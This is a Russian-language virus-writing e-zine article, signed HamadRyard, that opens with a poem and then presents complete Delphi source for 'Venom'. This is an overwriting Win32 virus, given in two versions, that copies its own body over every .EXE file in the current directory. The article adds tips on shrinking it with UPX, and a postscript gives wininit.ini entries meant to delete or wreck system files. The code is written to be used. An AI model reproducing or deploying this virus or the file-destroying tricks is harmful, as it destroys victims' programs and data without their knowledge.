╔═══════════════════════════════════════════╗
║ ■ ■ ║
║ █▀ █▀▄ █▀ █▀█ ▀█▀ █ █ █▀▄ █▀ █▀▀ ║
║ THE █ █▄▀ █▄ █▄█ █ █ █ █▄▀ █▄ █▄▄ ║
║ █▄ █ █ █▄ █ █ █ █▄█ █ █ █▄ ▄▄█ ║
║ ■ ■ ║
╚═══════════════════════════════════════════╝
Вирусы на HLL под винду.
-------------------------------------------------------------------------------
Порой умирают боги -- и права нет больше верить
Порой заметает дороги, крестом забивают двери
И сохнут ключи в пустыне, а взрыв потрясает сушу,
Когда умирает богиня, когда оставляет души
Огонь пожирает стены и храмы становятся прахом
И движутся манекены не ведая больше страха
Шагают полки по иконам бессмысленным ровным клином
Теперь больше верят погонам и ампулам с героином
Терновый венец завянет, всяк будет себе хозяин
Фолклором народным станет убивший Авеля Каин
Погаснет огонь в лампадах, умолнут священные гимны
Не будет ни рая, ни ада, когда наши боги погибнут
Так иди и твори, что надо, не бойся, никто не накажет
Теперь ничего не свято...
(1985)
из книжки стихов Янки и Егора Летова "РУССКОЕ ПОЛЕ ЭКСПЕРИМЕНТОВ"
-= Как НЕ надо писать Win32 вирусы =-
Вирус Win95.based расползается по бескрайним просторам виртуального мира
и не дает старым добрым досовским вирусам вести достойное существование.
Даже HLL-вирусы тонут в этом дерме. Но, как говорится, "мы не лыком шиты", и
практически сразу после выхода MD появились win95 вирусы ( вспомните Boza ),
и, как говорит товарищ КаCПЕРский, "В любой операционной системе, которую
сделала MicroSoft будут жить вирусы" :)
Заглянув в его же энциклопедию я увидел, что Win32 вирусов очень мало
(а вы говорите прогресс, блин). "Надо срочно исправлять", - подумал я.
Пялился, пялился в исходник CIH'а ( Чернобыль, если кто не знает ) и понял,
что асм ни хрена не знаю (как будто так не знал). Учи, скажете вы.
Учить, это хорошо, но легко сказать - долго делать, да и времени ни хуя нет.
А вирус-то написать охота. Но тут я вспомнил, что есть ЯВУ, но какой выбрать?
C/CPP я знаю поверхностно, поэтому я выбрал Pascal, а точнее кусок Delphi.
Если вы когда-нибудь писали вирус на паскале, то увидев чудо (см. ниже)
поймете, что на дельфи писать также просто.
------ FIRST\venom.dpr ------
program Venom;
{$D+,I-,L-,Y-,Z1}
{$APPTYPE CONSOLE}
uses SysUtils;
Const
Lng = 29184;
Var
DirInfo : TSearchRec;
F : File;
Buffer : Array [1..Lng] of Byte;
Result : Integer;
begin
FileMode:= 0;
AssignFile(F , ParamStr(0));
Reset(F , 1);
BlockRead(F, Buffer, Lng);
CloseFile(F);
FileMode:= 2;
Result:= FindFirst('*.EXE', faArchive, DirInfo);
While Result = 0 do
begin
AssignFile(F , DirInfo.Name);
Reset(F, 1);
If IOResult=0 then
begin
BlockWrite(F, Buffer, Lng);
CloseFile(F);
end;
Result:= FindNext(DirInfo);
end;
FindClose(DirInfo);
WriteLn('This program must be run under Win32');
end.
------ FIRST\venom.dpr ------
Ну как вам эта порнография? Нравится ?!?! < 8-(______]. А как же длина?
Да хрен с ней, скажите вы, MD все таки. Ни хуя, вон CIH какой маленький ~1 Кг
всего, да и остальные около 8 Кг. Так что будет извращатся дальше, если уж
начали. Смотрим сорки SysUtils (Борлад в отличии от "мягких" не жадный),
видим что там всякой хуйни не нужной видимо-не видимо, долго жмем del, и
получаем ~15 кг, уже лучше, но хотелось бы меньше.
Короче, без API не обойтись.
После просмотра хелпа по API функциям, я понял что все не так сложно и в
итоге получилась очередная бага.
------ API\venom.dpr ------
program Venom;
{$APPTYPE CONSOLE} // чтоб приложение консольным было
Uses Windows; // константы и описания типов выня
Const
Lng= 13824; // длина вируса
Var
F, FS: THandle; // хэндл файлов
FS_B: Boolean; // для поиска
B: Integer;
Buffer: array [1..Lng] of Byte; // для переноса тела
DirInfo: TWIN32FindDataA; // для поиска файлов
procedure Infect; // процедура заражения
function Check_It: Boolean; // проверки на наличие вируса в файле
var
Buf: array [1..4] of Char; // буфер
begin
// Открывает файл на чтение
F:= CreateFile(DirInfo.cFileName, GENERIC_READ,
FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
// Перемещаемся 50h
SetFilePointer(F, $50, nil, FILE_BEGIN);
ReadFile(F, Buf, 4, B, nil); // и читаем 4 байта
Result:= (Buf <> 'Thiz'); // если не "Thiz" заражаем
CloseHandle(F); // закрываем файл
end; { Check_It }
begin
If Check_It Then // если вира нет, то
Begin // открываем файл на чтение/запись
F:= CreateFile(DirInfo.cFileName, GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(F, Buffer, Lng, B, nil); // и записываем себя поверх жертвы.
end;
CloseHandle(F); // закрываем файл
end; { Infect }
begin
// скопируем себя в буфер
F:= CreateFile(PChar(ParamStr(0)), GENERIC_READ,
FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ReadFile(F, Buffer, Lng, B, nil);
CloseHandle(F);
FS:= FindFirstFile('*.EXE', DirInfo);// ищем подходящие файлы
If FS <> INVALID_HANDLE_VALUE then // если нашли
begin
Infect; // заражаем пока не кончатся
while FindNextFile(FS, DirInfo) do infect;
end;
FindClose(FS); // убираем за собой и отмазываемся
WriteLn('This program must be run under Win32');
end.
------ API\venom.dpr ------
Зачем херней страдал, скажете вы, длина-то все равно огромная.
А я вам отвечу: зато с API познакомился, кстати на ЯВУ их изучить проще.
И вообще паковщики есть, UPX например. Упакуйте и будет 8 Кг. Короче простор
для творчества огромный. Но особо не увлекайтесь, учите лучше ассемблер.
Любитель извратов,
HamadRyard.
P.S.
Если что не понятно смотрите DDK или SDK, короче говоря хелп по API.
И еще, это так сказать проба пера, так что если что не нравится, ногами
сильно не пинайте. Лучше черкните пару строк на [email protected].
P.S.S.
Ну и напоследок прикол.
Есть у MD файл такой wininit.exe, так вот если к нему .ini файлик, сделать
wininit.ini т.е., то можно чудеса творить. Например, можно записать туда
[NUL]
C:\autoexec.bat=1
или
[rename]
DIRNUL=C:\
Ну я думаю понятно для чего. Если кто знает другие параметры поделитесь.